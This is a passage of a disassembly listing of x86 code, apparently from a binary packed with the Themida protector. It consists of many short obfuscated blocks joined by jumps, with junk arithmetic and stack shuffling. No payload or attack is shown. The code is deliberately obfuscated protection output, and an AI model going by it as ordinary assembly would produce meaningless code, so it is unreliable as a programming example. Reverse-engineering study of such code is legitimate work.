		add	eax, 7DB2160Fh
		sub	eax, 24440652h
		add	eax, 1CCC285Dh
		mov	ebx, eax
		pop	eax
		and	edi, ebx
		mov	ebx, [esp+3Eh+var_40+2]
		add	esp, 4
		inc	edi
		xchg	eax, edi
		not	eax
		jmp	loc_567B8F
; ---------------------------------------------------------------------------


loc_5636EF:				; CODE XREF: sub_56207C+88AEj
		mov	eax, 2CE24157h
		dec	eax
		sub	eax, 56B62505h
		shr	eax, 7
		neg	eax
		add	eax, 6EA28568h
		add	ebp, eax
		mov	eax, [esp+3Ah+var_3C+2]
		add	esp, 4
		jmp	loc_56F272
; ---------------------------------------------------------------------------


loc_563714:				; CODE XREF: sub_56207C+C96Dj
		pop	edi
		push	eax
		mov	eax, 27F100A0h
		xor	eax, 1B65D531h
		xor	ebx, eax
		pop	eax
		sub	edi, ebx
		pop	ebx
		jmp	loc_56C857
; ---------------------------------------------------------------------------


loc_56372B:				; CODE XREF: sub_56207C+9FA8j
		sub	byte ptr [esp+2Eh+var_30+2], al
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_563734:				; CODE XREF: sub_56207C-2B4Ej
		or	esi, 796F11C2h
		jmp	loc_560F4C
; ---------------------------------------------------------------------------


loc_56373F:				; CODE XREF: sub_56207C+8513j
		push	ebp
		mov	ebp, 27D1FF5h
		xor	ebp, 6C551F2h
		inc	ebp
		jmp	loc_5652F5
; ---------------------------------------------------------------------------


loc_563751:				; CODE XREF: sub_56207C+108A1j
		sub	edx, edi
		pop	edi
		add	edx, 72AB591Fh
		add	edx, 7DB740C7h
		add	edx, edi
		sub	esp, 4
		jmp	loc_56335B
; ---------------------------------------------------------------------------


loc_56376A:				; DATA XREF: Themida_:0055E324o
		mov	ax, word ptr [esp+28h+var_28]
		push	3633h
		jmp	loc_562C07
; ---------------------------------------------------------------------------


loc_563778:				; CODE XREF: sub_56207C+1CB1j
		mov	ebp, 7A733FC4h
		jmp	loc_56241D
; ---------------------------------------------------------------------------


loc_563782:				; CODE XREF: sub_56207C+DD07j
		push	ebx
		jmp	loc_56075F
; ---------------------------------------------------------------------------


loc_563788:				; CODE XREF: sub_56207C+CF90j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+30h+var_30]
		jmp	loc_5657DE
; ---------------------------------------------------------------------------


loc_56379C:				; CODE XREF: sub_56207C+8A4Cj
		pop	esp
		xor	edx, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], edx
		xor	edx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		test	cl, al
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5637B1:				; CODE XREF: sub_56207C+81FEj
		inc	eax
		add	eax, 45E3327Dh
		jmp	loc_57324E
; ---------------------------------------------------------------------------


loc_5637BC:				; CODE XREF: sub_56207C+EF7Dj
		add	esp, 4
		jmp	loc_56DCF9
; ---------------------------------------------------------------------------


loc_5637C4:				; CODE XREF: sub_56207C-A4Bj
		pop	esp
		add	ebp, 488928BDh
		xor	ebp, 0AEFC76EFh
		add	esi, 0E0E1421h
		add	esi, ebp
		jmp	loc_562849
; ---------------------------------------------------------------------------


loc_5637DE:				; CODE XREF: sub_56207C-138Dj
		add	ecx, 16360079h
		add	ecx, 9BA56C4h
		sub	ecx, edi
		sub	ecx, 9BA56C4h
		sub	ecx, 16360079h
		jmp	loc_56B5C3
; ---------------------------------------------------------------------------


loc_5637FD:				; CODE XREF: sub_56207C+8075j
		add	eax, edx
		push	ebp
		push	ecx
		jmp	loc_568E47
; ---------------------------------------------------------------------------


loc_563806:				; CODE XREF: sub_56207C+870Bj
		pop	ebx
		push	ebx
		mov	ebx, 1E0C07E6h
		push	edi
		mov	edi, 71EA7422h
		jmp	loc_56E9E7
; ---------------------------------------------------------------------------


loc_563818:				; CODE XREF: sub_56207C+98ACj
		push	ebp
		mov	ebp, esp
		jmp	loc_5672CF
; ---------------------------------------------------------------------------


loc_563820:				; CODE XREF: sub_56207C+144Fj
		inc	ebx
		add	ebx, 75B4B7Bh
		and	ebx, 609C6F64h
		not	ebx
		jmp	loc_560F76
; ---------------------------------------------------------------------------


loc_563834:				; CODE XREF: sub_56207C+DD8Cj
		xor	eax, ecx
		pop	ecx
		mov	ebx, [esp+34h+var_34]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+34h+var_34]
		push	edx
		push	67D8h
		push	93Eh
		jmp	loc_56CCFC
; ---------------------------------------------------------------------------


loc_563856:				; CODE XREF: sub_56207C+297Aj
		xor	esi, [esp+40h+var_40]
		jmp	loc_569479
; ---------------------------------------------------------------------------


loc_56385E:				; CODE XREF: sub_56207C+C17Aj
		sub	eax, edx
		xchg	eax, edx
		pop	eax
		sub	edx, 0D8773FC0h
		jmp	loc_5648A1
; ---------------------------------------------------------------------------


loc_56386D:				; CODE XREF: sub_56207C-19BBj
		and	ecx, eax
		jmp	loc_570304
; ---------------------------------------------------------------------------


loc_563874:				; CODE XREF: sub_56207C+2EBFj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		mov	eax, [esp+22h+var_24+2]
		jmp	sub_55EF23
; ---------------------------------------------------------------------------


loc_563888:				; CODE XREF: sub_56207C+BBCEj
		mov	edi, 10362DEBh
		sub	edi, 0FFFFFFFFh
		add	edi, 2A3A2076h
		neg	edi
		or	edi, 49532906h
		shr	edi, 7
		or	edi, 579C0086h
		shr	edi, 3
		sub	edi, 2AE35373h
		add	ebp, edi
		mov	edi, [esp+22h+var_24+2]
		jmp	loc_56C5DB
; ---------------------------------------------------------------------------


loc_5638BA:				; CODE XREF: sub_56207C+1033Aj
		xor	edi, 6EFC6192h
		add	ebp, edi
		pop	edi
		pop	edi
		xor	ebp, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebp
		jmp	loc_573172
; ---------------------------------------------------------------------------


loc_5638CF:				; CODE XREF: sub_56207C+EA94j
		pop	edi
		add	ebp, 0DFBD757Dh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, ebp
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		push	704Fh
		mov	[esp+22h+var_24+2], ebx
		push	6769h
		mov	[esp+26h+var_28+2], ecx
		jmp	loc_56CC17
; ---------------------------------------------------------------------------


loc_56390B:				; CODE XREF: sub_56207C+E4E6j
		pop	edi
		jmp	loc_566C84
; ---------------------------------------------------------------------------


loc_563911:				; CODE XREF: sub_56207C+A3CBj
		push	ebx
		mov	ebx, esp
		jmp	loc_55E9ED
; ---------------------------------------------------------------------------


loc_563919:				; CODE XREF: sub_56207C+3BB0j
		mov	[esp+26h+var_28+2], esi
		jmp	loc_564333
; ---------------------------------------------------------------------------


loc_563921:				; CODE XREF: sub_56207C+30A0j
		push	2489h
		mov	[esp+2Ah+var_2C+2], eax
		mov	ax, 6DB0h
		dec	ax
		add	ax, 6CE2h
		jmp	loc_56EA16
; ---------------------------------------------------------------------------


loc_563938:				; CODE XREF: sub_56207C+1605j
		xor	eax, esi
		pop	esi
		add	ebp, 7D3F38B4h
		add	ebp, eax
		push	edx
		mov	edx, 7D3F38B4h
		sub	ebp, edx
		pop	edx
		mov	eax, [esp+3Eh+var_40+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_565D84
; ---------------------------------------------------------------------------


loc_563960:				; CODE XREF: sub_56207C+6272j
		pop	edx
		push	[esp+3Eh+var_40+2]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 24A823DFh
		jmp	loc_55F0D7
; ---------------------------------------------------------------------------


loc_563979:				; CODE XREF: sub_56207C+41A3j
		push	si
		dec	word ptr [esp+48h+var_48]
		mov	si, word ptr [esp+48h+var_48]
		add	esp, 2
		xor	si, 4135h
		add	si, 403Dh
		shr	si, 4
		sub	si, 0EA2Ah
		and	si, 3964h
		not	si
		add	si, 7137h
		sub	bx, 1C54h
		sub	bx, si
		add	bx, 1C54h
		mov	esi, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_567C79
; ---------------------------------------------------------------------------


loc_5639BE:				; CODE XREF: sub_56207C+F98Dj
		mov	edx, 4984736Eh
		not	edx
		xor	edx, 27F976F5h
		xor	edx, 0CAE08875h
		jmp	loc_56B2B1
; ---------------------------------------------------------------------------


loc_5639D6:				; CODE XREF: sub_56207C+78F3j
		push	10FE2DFEh
		jmp	loc_5728A3
; ---------------------------------------------------------------------------


loc_5639E0:				; CODE XREF: sub_56207C+D07Cj
		mov	esi, esp
		jmp	loc_568B83
; ---------------------------------------------------------------------------


loc_5639E7:				; CODE XREF: sub_56207C-2C01j
		push	eax
		jmp	loc_569ACF
; ---------------------------------------------------------------------------


loc_5639ED:				; CODE XREF: sub_56207C+23CEj
		push	eax
		push	2ED65913h
		pop	eax
		or	eax, 32C05E68h
		shr	eax, 2
		xor	eax, 0FB597DCh
		jmp	loc_55EDE1
; ---------------------------------------------------------------------------


loc_563A06:				; CODE XREF: sub_56207C+10ECDj
		add	[esp+1Ah+var_1C+2], 5D206CEBh
		pop	eax
		sub	eax, 5D206CEBh
		pop	edx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_563A19:				; CODE XREF: sub_56207C+B4B7j
		add	esp, 4
		jmp	loc_570DF9
; ---------------------------------------------------------------------------


loc_563A24:				; CODE XREF: sub_56207C+183j
		pop	eax
		mov	ah, 6Fh
		xor	ah, bl
		mov	ebx, [esp+64h+var_64]
		add	esp, 4
		add	ah, 0DAh
		shr	ah, 5
		dec	ah
		add	ah, 40h
		sub	esp, 4
		mov	[esp+64h+var_64], ecx
		jmp	loc_572507
; ---------------------------------------------------------------------------


loc_563A4B:				; CODE XREF: sub_56207C+78DCj
		push	esp
		mov	ebx, [esp+68h+var_68]
		push	ecx
		mov	ecx, esp
		jmp	loc_5624E3
; ---------------------------------------------------------------------------


loc_563A57:				; CODE XREF: sub_56207C+A175j
		mov	[esp+6Ch+var_6C], edx
		jmp	loc_573499
; ---------------------------------------------------------------------------


loc_563A5F:				; CODE XREF: sub_56207C+1144Dj
		mov	[esp+6Ch+var_6C], edi
		mov	edi, 5481231Fh
		shl	edi, 2
		dec	edi
		neg	edi
		sub	edi, 4BFC02C4h
		jmp	loc_56C534
; ---------------------------------------------------------------------------


loc_563A78:				; CODE XREF: sub_56207C+92FDj
		push	edx
		mov	edx, 95E6837h
		push	ebp
		mov	ebp, 2F214B01h
		jmp	loc_564D3F
; ---------------------------------------------------------------------------


loc_563A89:				; CODE XREF: sub_56207C+BA00j
		mov	ebx, [esp+74h+var_74]
		add	esp, 4
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		xchg	eax, esi
		jmp	loc_561D1A
; ---------------------------------------------------------------------------


loc_563A9B:				; CODE XREF: sub_56207C-2730j
		mov	ebx, 4
		jmp	loc_569860
; ---------------------------------------------------------------------------


loc_563AA5:				; CODE XREF: sub_56207C+15A7j
		sub	ebx, 1767383Ah
		xor	ebx, 0B1B2E70Eh
		add	eax, ebx
		pop	ebx
		sub	eax, 675071A3h
		add	ecx, eax
		jmp	loc_5617AD
; ---------------------------------------------------------------------------


loc_563AC0:				; CODE XREF: sub_56207C+F906j
		sub	ecx, 4
		jmp	loc_5679ED
; ---------------------------------------------------------------------------


loc_563ACB:				; CODE XREF: sub_56207C+3CDj
		add	esi, eax
		jmp	loc_5672E3
; ---------------------------------------------------------------------------


loc_563AD2:				; CODE XREF: sub_56207C+9F94j
		neg	ebp
		push	esi
		jmp	loc_563DDD
; ---------------------------------------------------------------------------


loc_563ADA:				; CODE XREF: sub_56207C+111E1j
		xor	esi, edi
		mov	edi, [esp+4Eh+var_50+2]
		jmp	loc_570D87
; ---------------------------------------------------------------------------


loc_563AE4:				; CODE XREF: sub_56207C+FAA8j
		sub	ecx, 36FC745Dh
		jmp	loc_56FFE4
; ---------------------------------------------------------------------------


loc_563AEF:				; CODE XREF: sub_56207C-38A7j
		mov	[esp+10h+var_10], edx
		jmp	loc_564456
; ---------------------------------------------------------------------------


loc_563AF7:				; CODE XREF: sub_56207C+1084Ej
		inc	eax
		push	ebp
		jmp	loc_56510B
; ---------------------------------------------------------------------------


loc_563AFE:				; CODE XREF: sub_56207C+8151j
		add	ebx, 1DBE5498h
		sub	ebx, eax
		jmp	loc_566027
; ---------------------------------------------------------------------------


loc_563B0B:				; CODE XREF: sub_56207C+3E3Bj
		pop	esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		push	eax
		jmp	loc_572488
; ---------------------------------------------------------------------------


loc_563B1F:				; CODE XREF: sub_56207C+3ED1j
		pop	esp
		push	5AB5h
		mov	[esp+10h+var_10], esi
		push	esp
		mov	esi, [esp+14h+var_14]
		jmp	loc_56D741
; ---------------------------------------------------------------------------


loc_563B31:				; CODE XREF: sub_56207C-359Cj
		mov	[esp+22h+var_24+2], edx
		jmp	loc_566D4C
; ---------------------------------------------------------------------------


loc_563B39:				; CODE XREF: sub_56207C-3C7Ej
		shr	di, 8
		sub	di, 0F133h
		add	si, di
		pop	edi
		jmp	loc_5652E2
; ---------------------------------------------------------------------------


loc_563B4B:				; CODE XREF: sub_56207C+972j
		mov	ebp, edx
		jmp	loc_56DC48
; ---------------------------------------------------------------------------


loc_563B52:				; CODE XREF: sub_56207C+247j
		mov	edi, 52310EE7h
		jmp	loc_5723AC
; ---------------------------------------------------------------------------


loc_563B5C:				; CODE XREF: sub_56207C+E6A6j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_563B61:				; CODE XREF: sub_56207C+C654j
		push	ebp
		mov	ebp, 77432BCEh
		and	ebx, ebp
		jmp	loc_55FC4C
; ---------------------------------------------------------------------------


loc_563B6E:				; CODE XREF: sub_56207C+9BB0j
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		jmp	loc_56A72F
; ---------------------------------------------------------------------------


loc_563B7B:				; CODE XREF: sub_56207C+AD50j
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], eax
		jmp	loc_5734EE
; ---------------------------------------------------------------------------


loc_563B8C:				; CODE XREF: sub_56207C+CE32j
		mov	dh, 5Bh
		add	al, dh
		pop	dx
		jmp	loc_56186E
; ---------------------------------------------------------------------------


loc_563B97:				; CODE XREF: sub_56207C+9743j
		mov	edx, 1
		push	ebx
		mov	ebx, esp
		jmp	loc_563157
; ---------------------------------------------------------------------------


loc_563BA4:				; CODE XREF: sub_56207C+6FDAj
		sub	edx, 593E3506h
		sub	edx, 755539Fh
		pop	ebp
		push	edx
		push	[esp+28h+var_24]
		mov	edx, [esp+2Ch+var_2C]
		push	esi
		mov	esi, esp
		jmp	loc_569115
; ---------------------------------------------------------------------------


loc_563BC1:				; CODE XREF: sub_56207C+EBC8j
		mov	edx, 3305633Dh
		shr	edx, 6
		push	esi
		mov	esi, 0AFFE7145h
		add	edx, esi
		jmp	loc_56C7D9
; ---------------------------------------------------------------------------


loc_563BD6:				; CODE XREF: sub_56207C-1236j
		push	2646h
		mov	[esp+30h+var_30], edi
		push	esi
		push	ebx
		jmp	loc_567873
; ---------------------------------------------------------------------------


loc_563BE5:				; CODE XREF: sub_56207C+3E2Aj
		pop	ebx
		pop	ebx
		jmp	loc_569535
; ---------------------------------------------------------------------------


loc_563BEC:				; CODE XREF: sub_56207C+46A4j
		mov	word ptr [esp+30h+var_30], dx
		sub	esp, 4
		mov	[esp+34h+var_34], ecx
		jmp	loc_571450
; ---------------------------------------------------------------------------


loc_563BFE:				; CODE XREF: sub_56207C+E400j
		add	ebx, eax
		sub	ebx, 6D2F540Bh
		add	ebx, 25010E31h
		push	eax
		mov	eax, 19E1103Dh
		sub	ebx, eax
		pop	eax
		jmp	loc_560775
; ---------------------------------------------------------------------------


loc_563C1A:				; CODE XREF: sub_56207C+9C19j
		pop	ebx
		add	eax, 4
		jmp	loc_56F6D6
; ---------------------------------------------------------------------------


loc_563C23:				; CODE XREF: sub_56207C+7018j
		mov	edi, 5A84736Ah
		sub	[esp+30h+var_28], edi
		pop	edi
		add	[esp+2Ch+var_28], 2A7A3C77h
		add	[esp+2Ch+var_28], ecx
		sub	[esp+2Ch+var_28], 2A7A3C77h
		sub	esp, 4
		mov	[esp+30h+var_30], ecx
		mov	ecx, 5A84736Ah
		add	[esp+30h+var_28], ecx
		pop	ecx
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	esi
		push	ebp
		mov	ebp, 78FF2589h
		mov	esi, 78FF258Dh
		xor	esi, ebp
		pop	ebp
		add	ecx, 33F0558Ch
		add	ecx, 26C62447h
		add	ecx, esi
		sub	ecx, 26C62447h
		sub	ecx, 33F0558Ch
		jmp	loc_572D84
; ---------------------------------------------------------------------------


loc_563C92:				; CODE XREF: sub_56207C+622Fj
		xor	[esp+28h+var_28], edi
		xor	edi, [esp+28h+var_28]
		xor	[esp+28h+var_28], edi
		push	155Bh
		mov	[esp+2Ch+var_2C], edi
		not	[esp+2Ch+var_2C]
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		xor	[esp+28h+var_28], edi
		xor	edi, [esp+28h+var_28]
		xor	[esp+28h+var_28], edi
		push	[esp+28h+var_28]
		mov	eax, [esp+2Ch+var_2C]
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		push	esp
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		add	edx, 4
		push	7C44h
		mov	[esp+34h+var_34], esi
		push	ebp
		mov	ebp, 7F994D4Bh
		jmp	loc_571413
; ---------------------------------------------------------------------------


loc_563CE1:				; CODE XREF: sub_56207C-3Dj
		add	esi, eax
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_56F2C0
; ---------------------------------------------------------------------------


loc_563CEE:				; CODE XREF: sub_56207C+8544j
		add	esi, edx
		pop	edx
		xor	esi, [esp+28h+var_28]
		xor	[esp+28h+var_28], esi
		xor	esi, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		xor	ebx, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebx
		jmp	loc_56A6F0
; ---------------------------------------------------------------------------


loc_563D08:				; CODE XREF: sub_56207C+25EDj
		add	edi, 4
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebp
		push	4A28h
		mov	[esp+30h+var_30], esi
		mov	esi, 5B532C04h
		or	esi, 1DA56FCFh
		not	esi
		push	ebp
		jmp	loc_563778
; ---------------------------------------------------------------------------


loc_563D32:				; CODE XREF: sub_56207C+1315j
		mov	ebp, 40E94433h
		add	ebp, 7D776F08h
		jmp	loc_56090D
; ---------------------------------------------------------------------------


loc_563D42:				; CODE XREF: sub_56207C+BA82j
		sub	esi, 4
		jmp	loc_56213F
; ---------------------------------------------------------------------------


loc_563D4D:				; CODE XREF: sub_56207C+4894j
		mov	[esp+34h+var_34], ecx
		jmp	loc_56C25F
; ---------------------------------------------------------------------------


loc_563D55:				; DATA XREF: Themida_:0055E164o
		mov	cx, word ptr [esp+34h+var_34]
		jmp	loc_56F377
; ---------------------------------------------------------------------------


loc_563D5E:				; CODE XREF: sub_56207C+6EF7j
		add	esi, edx
		sub	esi, 4B021191h
		pop	edx
		push	esi
		push	edi
		mov	edi, 1E445C69h
		mov	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		jmp	loc_55E7C2
; ---------------------------------------------------------------------------


loc_563D79:				; CODE XREF: sub_56207C+A965j
		not	ebx
		sub	ebx, 19E6D5FEh
		jmp	loc_5615D6
; ---------------------------------------------------------------------------


loc_563D86:				; CODE XREF: sub_56207C+D370j
		mov	edx, [esp+30h+var_30]
		jmp	loc_566704
; ---------------------------------------------------------------------------


loc_563D8E:				; CODE XREF: sub_56207C+CE51j
		and	ebp, 24C75AF9h
		jmp	loc_56161A
; ---------------------------------------------------------------------------


loc_563D99:				; CODE XREF: sub_56207C+3CA3j
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+30h+var_2C]
		jmp	loc_56F1C1
; ---------------------------------------------------------------------------


loc_563DB0:				; CODE XREF: sub_56207C+3304j
		add	esp, 4
		xor	ebx, edx
		pop	edx
		push	eax
		push	edi
		jmp	loc_569E8A
; ---------------------------------------------------------------------------


loc_563DC0:				; CODE XREF: sub_56207C+5CFDj
		sub	esi, ecx
		add	esi, 37C67FD1h
		pop	ecx
		xor	esi, [esp+30h+var_30]
		xor	[esp+30h+var_30], esi
		xor	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_563DDD:				; CODE XREF: sub_56207C+1A59j
		mov	esi, 1F1467A5h
		shl	esi, 5
		neg	esi
		push	ebp
		mov	ebp, 0AD71369h
		or	esi, ebp
		pop	ebp
		inc	esi
		sub	esi, 140D7AECh
		xor	esi, 1CC24EFAh
		sub	ebp, esi
		pop	esi
		sub	eax, 74A52F5h
		jmp	loc_56AF76
; ---------------------------------------------------------------------------


loc_563E0A:				; CODE XREF: sub_56207C+BD3Cj
		add	esp, 4
		push	770Bh
		mov	[esp+4Ah+var_4C+2], ecx
		push	[esp+4Ah+var_48+2]
		pop	ecx
		pop	[esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_5616B8
; ---------------------------------------------------------------------------


loc_563E26:				; CODE XREF: sub_56207C+975Fj
		and	ecx, 73087346h
		sub	ecx, 956F7E33h
		xor	edx, ecx
		mov	ecx, [esp+42h+var_44+2]
		add	esp, 4
		mov	eax, edx
		mov	edx, [esp+3Eh+var_40+2]
		jmp	loc_567A5A
; ---------------------------------------------------------------------------


loc_563E47:				; CODE XREF: sub_56207C+3370j
		add	esi, ecx
		jmp	loc_571A7B
; ---------------------------------------------------------------------------


loc_563E4E:				; CODE XREF: sub_56207C+106CDj
		mov	edi, 52617329h
		add	eax, 66A36D22h
		sub	eax, edi
		sub	eax, 66A36D22h
		pop	edi
		jmp	loc_5678F0
; ---------------------------------------------------------------------------


loc_563E65:				; CODE XREF: sub_56207C+3EDFj
		push	eax
		mov	eax, 15E33CC8h
		and	eax, 1B0B102Dh
		shl	eax, 6
		xor	eax, 64BB59FDh
		and	eax, 50B469C0h
		sub	eax, 3449BCh
		mov	ebx, eax
		pop	eax
		push	edi
		push	654Ah
		mov	[esp+42h+var_44+2], ebx
		mov	ebx, 49BF1992h
		jmp	loc_56FA71
; ---------------------------------------------------------------------------


loc_563E98:				; CODE XREF: sub_56207C+3F2Aj
		add	esi, 4E470BC5h
		add	esi, ebx
		sub	esi, 4E470BC5h
		add	esi, 50643Bh
		mov	ebx, [esp+42h+var_44+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_573603
; ---------------------------------------------------------------------------


loc_563EBD:				; DATA XREF: Themida_:0055E360o
		mov	eax, [esp+46h+var_48+2]
		push	5276h
		mov	[esp+4Ah+var_4C+2], eax
		mov	eax, esp
		push	ecx
		jmp	loc_56D9F6
; ---------------------------------------------------------------------------


loc_563ED0:				; CODE XREF: sub_56207C+ACC0j
		xor	ecx, 5A985BD6h
		mov	ebp, ecx
		pop	ecx
		push	0CFE9FB3h
		pop	edi
		add	edi, ebp
		jmp	loc_56C51B
; ---------------------------------------------------------------------------


loc_563EE6:				; CODE XREF: sub_56207C+E3B5j
		push	edi
		push	4F28215Eh
		pop	edi
		sub	edi, 4F28215Ah
		sub	edx, 5B1946A5h
		jmp	loc_563529
; ---------------------------------------------------------------------------


loc_563EFE:				; CODE XREF: sub_56207C-2CD8j
		pop	esp
		sub	ecx, 4
		xor	ecx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ecx
		xor	ecx, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		jmp	loc_56074F
; ---------------------------------------------------------------------------


loc_563F13:				; CODE XREF: sub_56207C+379Fj
		add	bl, ch
		sub	bl, 0B5h
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		sub	bl, 19h
		push	ebx
		jmp	loc_561EB4
; ---------------------------------------------------------------------------


loc_563F2A:				; CODE XREF: sub_56207C+6DC6j
		pop	eax
		sub	dx, 5A8Ah
		jmp	loc_56635E
; ---------------------------------------------------------------------------


loc_563F35:				; CODE XREF: sub_56207C+F4A9j
		xchg	edx, esi
		jmp	loc_56E39C
; ---------------------------------------------------------------------------


loc_563F3C:				; CODE XREF: sub_56207C+8263j
		sub	ecx, esi
		jmp	loc_56B71B
; ---------------------------------------------------------------------------


loc_563F43:				; CODE XREF: sub_56207C+7F2j
		mov	esi, 6D417662h
		mov	ecx, 8099B615h
		sub	ecx, esi
		pop	esi
		jmp	loc_568F36
; ---------------------------------------------------------------------------


loc_563F55:				; CODE XREF: sub_56207C+8B0Ej
		add	edi, 4
		push	ebp
		mov	ebp, 1F822F2h
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		push	3FA9741Ch
		pop	ebx
		jmp	loc_572701
; ---------------------------------------------------------------------------


loc_563F72:				; CODE XREF: sub_56207C+2B36j
		add	esp, 4
		sub	esp, 4
		jmp	loc_56CC08
; ---------------------------------------------------------------------------


loc_563F83:				; CODE XREF: sub_56207C+5F8Aj
		mov	esi, 2
		sub	edi, 3530010Ch
		add	edi, esi
		jmp	loc_56913F
; ---------------------------------------------------------------------------


loc_563F95:				; CODE XREF: sub_56207C+10C10j
		add	esp, 4
		jmp	loc_56CEC3
; ---------------------------------------------------------------------------


loc_563F9D:				; CODE XREF: sub_56207C+FB1Aj
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_5612A0
; ---------------------------------------------------------------------------


loc_563FAB:				; CODE XREF: sub_56207C+7779j
		mov	[esp+1Ch+var_1C], esi
		push	0AA64E8F4h
		pop	esi
		jmp	loc_56BD74
; ---------------------------------------------------------------------------


loc_563FB9:				; CODE XREF: sub_56207C+D2D6j
		push	ecx
		mov	ecx, 14726D11h
		not	ecx
		sub	esp, 4
		mov	[esp+24h+var_24], eax
		jmp	loc_5605A1
; ---------------------------------------------------------------------------


loc_563FCC:				; CODE XREF: sub_56207C+4033j
		mov	ebx, 527454Ah
		sub	edx, ebx
		jmp	loc_57193F
; ---------------------------------------------------------------------------


loc_563FD8:				; CODE XREF: sub_56207C+13BDj
		add	eax, 1E326C22h
		push	edx
		mov	edx, 372E430Ch
		shr	edx, 8
		xor	edx, 64453D1Fh
		sub	eax, edx
		pop	edx
		add	eax, ebx
		add	eax, 6472135Ch
		sub	eax, 1E326C22h
		mov	ebx, [esp+26h+var_28+2]
		jmp	loc_566AC1
; ---------------------------------------------------------------------------


loc_564003:				; CODE XREF: sub_56207C+F435j
		inc	eax
		and	eax, 5F6D7C4Dh
		inc	eax
		shl	eax, 6
		sub	eax, 30347EB3h
		xor	eax, 801097B6h
		jmp	loc_56331F
; ---------------------------------------------------------------------------


loc_56401C:				; CODE XREF: sub_56207C+3D51j
		add	esp, 4
		sub	ecx, 66A6DC3h
		add	ecx, 6B1C58C7h
		jmp	loc_56E2BB
; ---------------------------------------------------------------------------


loc_564030:				; CODE XREF: sub_56207C-1FF7j
		mov	ebx, esi
		mov	ebp, ebx
		mov	ebx, [esp+2Ch+var_2C]
		add	esp, 4
		pop	esi
		and	eax, ebp
		jmp	loc_560A87
; ---------------------------------------------------------------------------


loc_564045:				; CODE XREF: sub_56207C+662Ej
		shl	ebx, 4
		jmp	loc_573017
; ---------------------------------------------------------------------------


loc_56404D:				; CODE XREF: sub_56207C+39Cj
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+4Ah+var_48+2]
		pop	eax
		pop	[esp+4Ah+var_4C+2]
		mov	esp, [esp+46h+var_48+2]
		sub	ebx, eax
		add	ebx, 42747535h
		jmp	loc_56F26B
; ---------------------------------------------------------------------------


loc_564070:				; CODE XREF: sub_56207C+CCDj
		add	ebx, 4
		jmp	loc_570A49
; ---------------------------------------------------------------------------


loc_56407B:				; CODE XREF: sub_56207C-5CCj
		mov	[esp+20h+var_20], esi
		push	2
		pop	esi
		jmp	loc_567AC7
; ---------------------------------------------------------------------------


loc_564089:				; CODE XREF: sub_56207C+4D02j
		push	edi
		push	esi
		pop	edi
		jmp	loc_5718C6
; ---------------------------------------------------------------------------


loc_564091:				; CODE XREF: sub_56207C+D791j
		push	edx
		mov	edx, esp
		jmp	loc_56DFA2
; ---------------------------------------------------------------------------


loc_564099:				; CODE XREF: sub_56207C+A0FEj
		push	9C9h
		jmp	loc_56DB89
; ---------------------------------------------------------------------------


loc_5640A3:				; CODE XREF: sub_56207C-813j
		sub	eax, 30E6176Ah
		add	eax, 5CFEE084h
		sub	ebp, eax
		jmp	loc_56282C
; ---------------------------------------------------------------------------


loc_5640B4:				; CODE XREF: sub_56207C+9719j
		add	edx, ebx
		pop	ebx
		jmp	loc_570289
; ---------------------------------------------------------------------------


loc_5640BC:				; CODE XREF: sub_56207C+5D9Fj
		add	ecx, edi
		pop	edi
		push	ecx
		push	[esp+22h+var_20+2]
		jmp	loc_566111
; ---------------------------------------------------------------------------


loc_5640C9:				; CODE XREF: sub_56207C+BBBFj
		push	eax
		mov	eax, 2
		jmp	loc_572EDE
; ---------------------------------------------------------------------------


loc_5640D4:				; CODE XREF: sub_56207C+9E70j
		mov	[esp+2Ah+var_2C+2], esi
		jmp	loc_569236
; ---------------------------------------------------------------------------


